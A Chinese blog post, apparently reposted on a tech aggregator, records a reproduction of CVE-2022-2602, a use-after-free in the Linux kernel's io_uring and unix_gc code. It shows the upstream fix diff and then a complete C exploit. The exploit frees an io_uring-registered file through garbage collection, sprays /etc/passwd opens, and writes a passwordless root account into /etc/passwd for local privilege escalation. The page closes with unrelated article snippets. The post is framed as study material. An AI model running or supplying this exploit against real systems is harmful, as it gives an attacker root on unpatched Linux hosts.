CVE-2022-2602:unix_gc 错误释放 io_uring 注册的文件从而导致的 file UAF

前言

复现该漏洞只是为了学习相关知识,在这里仅仅做简单记录下 exp,关于漏洞的详细内容请参考其他文章,最后在 v5.18.19 内核版本上复现成功,v6.0.2 复现失败

漏洞利用

diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 9fcf534f2d9272..7be5bb4c94b6d8 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -803,6 +803,7 @@ typedef unsigned char *sk_buff_data_t;*	@csum_level: indicates the number of consecutive checksums found in*		the packet minus one that have been verified as*		CHECKSUM_UNNECESSARY (max 3)
+ *	@scm_io_uring: SKB holds io_uring registered files*	@dst_pending_confirm: need to confirm neighbour*	@decrypted: Decrypted SKB*	@slow_gro: state present at GRO time, slower prepare step required
@@ -982,6 +983,7 @@ struct sk_buff {#endif__u8			slow_gro:1;__u8			csum_not_inet:1;
+	__u8			scm_io_uring:1;#ifdef CONFIG_NET_SCHED__u16			tc_index;	/* traffic control index */
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index 6f88ded0e7e564..012fdb04ec238e 100644
--- a/io_uring/rsrc.c
+++ b/io_uring/rsrc.c
@@ -855,6 +855,7 @@ int __io_scm_file_account(struct io_ring_ctx *ctx, struct file *file)UNIXCB(skb).fp = fpl;skb->sk = sk;
+		skb->scm_io_uring = 1;skb->destructor = unix_destruct_scm;refcount_add(skb->truesize, &sk->sk_wmem_alloc);}
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index d45d5366115a76..dc276354039321 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -204,6 +204,7 @@ void wait_for_unix_gc(void)/* The external entry point: unix_gc() */void unix_gc(void){
+	struct sk_buff *next_skb, *skb;struct unix_sock *u;struct unix_sock *next;struct sk_buff_head hitlist;
@@ -297,11 +298,30 @@ void unix_gc(void)spin_unlock(&unix_gc_lock);+	/* We need io_uring to clean its registered files, ignore all io_uring
+	 * originated skbs. It's fine as io_uring doesn't keep references to
+	 * other io_uring instances and so killing all other files in the cycle
+	 * will put all io_uring references forcing it to go through normal
+	 * release.path eventually putting registered files.
+	 */
+	skb_queue_walk_safe(&hitlist, skb, next_skb) {
+		if (skb->scm_io_uring) {
+			__skb_unlink(skb, &hitlist);
+			skb_queue_tail(&skb->sk->sk_receive_queue, skb);
+		}
+	}
+/* Here we are. Hitlist is filled. Die. */__skb_queue_purge(&hitlist);spin_lock(&unix_gc_lock);+	/* There could be io_uring registered files, just push them back to
+	 * the inflight list
+	 */
+	list_for_each_entry_safe(u, next, &gc_candidates, link)
+		list_move_tail(&u->link, &gc_inflight_list);
+/* All candidates should have been detached by now. */BUG_ON(!list_empty(&gc_candidates));

unix_gc 错误释放 io_uring 注册的文件导致的 file UAF

exp 如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>
#include <liburing.h>
#include <assert.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void prepare() {system("touch /tmp/dummy");system("chmod 777 /tmp/dummy");
}static int run_wait_lock = 0;
void* slow_write() {#define PAGE_SIZE 0x1000#define WRITE_PAGE_NUMS 0x3333puts("[+] Start in slow_write");int fd = open("/tmp/dummy", O_RDWR);if (fd < 0) err_exit("FAILED to open /tmp/dummy");uint64_t start_addr = 0x30000000;uint64_t write_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;uint64_t i;for (i = 0; i < WRITE_PAGE_NUMS; i++) {void *addr = mmap((void*)(start_addr+i*PAGE_SIZE), PAGE_SIZE,PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);if (addr == MAP_FAILED) err_exit("mmap");}assert(i > 0);struct iovec iovs[20];for (i = 0; i < 20; i++) {iovs[i].iov_base = (void*)start_addr;iovs[i].iov_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;}puts("[+] Occupying inode lock");run_wait_lock = 1;if (writev(fd, iovs, 20) < 0) {err_exit("write");}close(fd);puts("[+] End in slow_write");puts("[+] Waiting for 10 senonds");sleep(10);exit(0);
}void sendfd(int sfd, int fd) {struct msghdr msg;char control_buf[4096] = { 0 };struct cmsghdr* cmsg;int fds[1] = { fd };memset(&msg, 0, sizeof(msg));msg.msg_control = control_buf;msg.msg_controllen = sizeof(control_buf);cmsg = CMSG_FIRSTHDR(&msg);cmsg->cmsg_level = SOL_SOCKET;cmsg->cmsg_type = SCM_RIGHTS;cmsg->cmsg_len = CMSG_LEN(sizeof(fds));memcpy(CMSG_DATA(cmsg), &fds, sizeof(fds));msg.msg_controllen = CMSG_SPACE(sizeof(fds));sendmsg(sfd, &msg, 0);
}int main() {int s[2];int rfd[2];int io_uring_fd;pthread_t thr1;struct io_uring_sqe* sqe;struct io_uring ring;struct stat st;struct iovec iov[1];int fds[300];int i = 0;bind_core(0);prepare();for (i = 0; i < 300; i++) {if ((fds[i] = open("/etc/passwd", O_RDONLY)) < 0)err_exit("open /etc/passwd");}stat("/etc/passwd", &st);int size = 0;int orig_size = st.st_size;/* hacker::0:0:/root:/root:/bin/sh\n */iov[0].iov_base = "hacker::0:0:/root:/root:/bin/sh\n";iov[0].iov_len = strlen(iov[0].iov_base);// s[0]         ref_count = 1// s[1]         ref_count = 1if (socketpair(AF_UNIX, SOCK_DGRAM, 0, s) < 0) err_exit("sockerpair");// s[0]         ref_count = 1// s[1]         ref_count = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 1io_uring_queue_init(32, &ring, IORING_SETUP_SQPOLL);sqe = io_uring_get_sqe(&ring);printf("[+] sqe: %p\n", sqe);io_uring_fd = ring.ring_fd;printf("[+] io_uring_fd: %d\n", io_uring_fd);if (io_uring_fd < 0) err_exit("io_uring_queue_init");rfd[0] = s[1];rfd[1] = open("/tmp/dummy", O_RDWR|O_APPEND);// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 2// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}io_uring_register_files(&ring, rfd, 2);sqe->opcode = IORING_OP_WRITEV;sqe->fd = 1;sqe->addr = (long long)iov;sqe->len = 1;sqe->flags = IOSQE_FIXED_FILE;// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 1// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}close(rfd[1]);// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 2   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdsendfd(s[0], io_uring_fd);// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 2   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdclose(s[0]);close(s[1]);// 占据 inode 锁pthread_create(&thr1, NULL, slow_write, NULL);// writev 等待 inode 锁while (!run_wait_lock) {}sleep(2);io_uring_submit(&ring);// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 1   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdio_uring_queue_exit(&ring);puts("[+] Triggering unix_gc");// 触发 unix_gc// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 1   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fd// 此时 rfd[1] 被错误的释放 ==> rfd[1]sleep(2);for (i = 0; i < 150; i++) {close(fds[i+2]);}close(socket(AF_UNIX, SOCK_DGRAM, 0));puts("[+] unix_gc done");puts("[+] Spray /etc/passwd file");// 打开大量 /etc/passwd 去占据 uaf_filefor (i = 0; i < 700; i++) {if (open("/etc/passwd", O_RDONLY) < 0) {printf("[X] Error at %d\n", i);err_exit("FAILED to spray file");}}// 等待 writev 获取 inode 锁,从而写 /etc/passwd// 当 /etc/passwd 文件大小发送变化时,说明成功向 /etc/passwd 写入恶意数据puts("[+] Waiting for overwriting /etc/passwd");while (orig_size == st.st_size) {stat("/etc/passwd", &st);size = st.st_size;sleep(1);}puts("[+] su hacker to get root");return 0;
}

效果如下:
在这里插入图片描述

参考文章

[漏洞分析] CVE-2022-2602 io_uring UAF内核提权详细解析
【kernel exploit】CVE-2022-2602垃圾回收错误释放iouring的file导致UAF

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/830451.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

10GMAC层设计系列-(1)10G Ethernet PCS/PMA

一、引言 对于10G以太网MAC层的实现&#xff0c;Xilinx提供了 3种IP核&#xff0c;分别是 10G Ethernet MAC、10G Ethernet PCS/PMA、10G Ethernet Subsystem。 10G Ethernet MAC只包含MAC层&#xff0c;外部需要提供一个PHY芯片进行数据对齐&#xff0c;10G Ethernet MAC与P…

软考 系统架构设计师系列知识点之软件可靠性基础知识(7)

接前一篇文章&#xff1a;软考 系统架构设计师系列知识点之软件可靠性基础知识&#xff08;6&#xff09; 所属章节&#xff1a; 第9章. 软件可靠性基础知识 第1节 软件可靠性基本概念 9.1.5 广义的可靠性测试和狭义的可靠性测试 广义软件可靠性测试 广义的软件可靠性测试是…

sql注入工具-​sqlmap

介绍&#xff1a; sqlmap是一款开源的自动化SQL注入工具&#xff0c;用于自动化检测和利用Web应用程序中的SQL注入漏洞。它具有强大的参数化查询和自定义注入脚本的功能&#xff0c;可以通过检测和利用SQL注入漏洞来获取数据库的敏感信息&#xff0c;如用户名、密码和其他重要…

C++ | Leetcode C++题解之第60题排列序列

题目&#xff1a; 题解&#xff1a; class Solution { public:string getPermutation(int n, int k) {vector<int> factorial(n);factorial[0] 1;for (int i 1; i < n; i) {factorial[i] factorial[i - 1] * i;}--k;string ans;vector<int> valid(n 1, 1);…

gateway全局token过滤器

添加gateway依赖 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-gateway</artifactId></dependency>创建一个tokenFilter 实现全局过滤器GlobalFilter,并且实现fitler方法 Value("${…

WebGL/Cesium 大空间相机抖动 RTE(Relative to Eye)实现原理简析

在浏览器中渲染大尺寸 3D 模型&#xff1a;Speckle 处理空间抖动的方法 WebGL/Cesium 大空间相机抖动 RTE(Relative to Eye)实现原理简析 注: 相机空间和视图空间 概念等效混用 1、实现的关键代码 const material new THREE.RawShaderMaterial({uniforms: {cameraPostion: {…

【全开源】Java上门老人护理老人上门服务类型系统小程序APP源码

功能&#xff1a; 服务分类与选择&#xff1a;系统提供详细的老人护理服务分类&#xff0c;包括日常照护、康复训练、医疗护理等&#xff0c;用户可以根据老人的需求选择合适的服务项目。预约与订单管理&#xff1a;用户可以通过系统预约护理服务&#xff0c;并查看订单详情&a…

final原理

文章目录 1. 设置 final 变量的原理2. 获取 final 变量的原理 1. 设置 final 变量的原理 理解了 volatile 原理&#xff0c;再对比 final 的实现就比较简单了 public class TestFinal {final int a 20; }字节码 0: aload_0 1: invokespecial #1 // Method java/lang/Object…

Python进阶之-traceback详解

✨前言&#xff1a; 在日常开发中&#xff0c;我们会做一些基本的异常处理&#xff0c;但是有时候只能打印我们处理的结果或者将异常打印出来&#xff0c;不能直观的知道在哪个文件中的哪一行出错。在Python中&#xff0c;traceback是一个用来跟踪异常错误信息的标准库&#x…

Docker搭建LNMP+Wordpress

一.项目模拟 1.项目环境 公司在实际的生产环境中&#xff0c;需要使用 Docker 技术在一台主机上创建 LNMP 服务并运行 Wordpress 网站平台。然后对此服务进行相关的性能调优和管理工作。 安装包下载&#xff1a; wget http://101.34.22.188/lnmp_wordpress/mysql-boost-5.7…

记录k8s以docker方式安装Kuboard v3 过程

原本是想通过在k8s集群中安装kuboad v3的方式安装kuboard&#xff0c;无奈在安装过程中遇到了太多的问题&#xff0c;最后选择了直接采用docker安装的方式&#xff0c;后续有时间会补上直接采用k8s安装kuboard v3的教程。 1.kuboard安装文档地址&#xff1a; 安装 Kuboard v3 …

【机器学习】视觉基础模型的三维意识:前沿探索与局限

视觉基础模型的三维意识&#xff1a;前沿探索与局限 一、引言二、视觉基础模型的三维意识三、当前模型的局限性四、实验与结果五、总结与展望 大规模预训练的进展已经产生了具有强大能力的视觉基础模型。最近的模型不仅可以推广到任意图像的训练任务&#xff0c;而且它们的中间…

【AIGC调研系列】LLaVA++整合Phi-3和Llama-3能够实现什么

LLaVA能够为Phi-3和Llama-3带来的主要好处包括&#xff1a; 视觉处理能力的增强&#xff1a;通过整合Phi-3和Llama-3模型&#xff0c;创建了具备视觉处理能力的Phi-3-V和Llama-3-V版本&#xff0c;这意味着这些模型现在能够理解和生成与图像相关的内容[1]。这种能力的增加&…

第G9周:ACGAN理论与实战

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 | 接辅导、项目定制&#x1f680; 文章来源&#xff1a;K同学的学习圈子 上一周已经给出代码&#xff0c;需要可以跳转上一周的任务 第G8周&#xff1a;ACGAN任…

ARP学习及断网攻击

1.什么是ARP ARP&#xff08;Address Resolution Protocol&#xff09;是一种用于在IPv4网络中将IP地址映射到MAC地址的协议。在计算机网络中&#xff0c;每个网络接口都有一个唯一的MAC地址&#xff08;Media Access Control address&#xff09;&#xff0c;用于识别网络设备…

c#创建新项目

确保已安装.NET Core SDK。&#xff08;visual studio installer中可安装&#xff09; cmd中先引用到文件夹目录下。 mkdir MyConsoleApp MyConsoleApp是项目文件夹的名字。 mkdir 是一个命令行工具&#xff0c;用于在文件系统中创建新的目录&#xff08;文件夹&#xff09;…

TCP协议在物联网中实战

一、TCP协议介绍 网上对TCP协议介绍众多&#xff0c;本人按照自己的理解简单介绍一下。 TCP&#xff08;Transmission Control Protocol&#xff0c; 传输控制协议&#xff09;是一种面向连接的、可靠的、基于字节流的传输控制层通信协议。 1.1 协议机制 1.1.1 三次握手 &…

imx6ull配置交叉编译环境编译u-boot及linux所遇问题解决记录

文章目录 前言一、问题 1 及解决方法1、问题 1 描述2、问题 1 解决方法 二、问题 2 及解决方法1、问题 2 描述2、问题 2 解决方法 三、问题 3 及解决方法1、问题 3 描述2、问题 3 解决方法 四、问题 4 及解决方法1、问题 4 描述2、问题 4 解决方法 前言 CoM-iMX6UL(L) 是一款兼…

linux远程访问及控制

一、SSH远程管理 1.SSH的简介 SSH远程管理是一种通过 SSH 协议安全地管理远程计算机的方法。允许管理员通过加密的连接从本地计算机或其他远程位置连接到远程计算机&#xff0c;并执行管理任务、配置设置、故障排除等操作。 远程链接的两种方法&#xff1a;SSH 、Telnet S…

Hadoop学习-MapReducer

MapReducer 目录 MapReducer 1.Hadoop是干嘛的 2.maven 3.MapReducer 1&#xff09;分析数据 写sql 2&#xff09;写程序 a.mapper程序 b.洗牌 分组排序 c.reducer程序 d.Test类 1.Hadoop是干嘛的 1&#xff09;分布式存储 HDFS 2&#xff09;处理大规模数据 Map…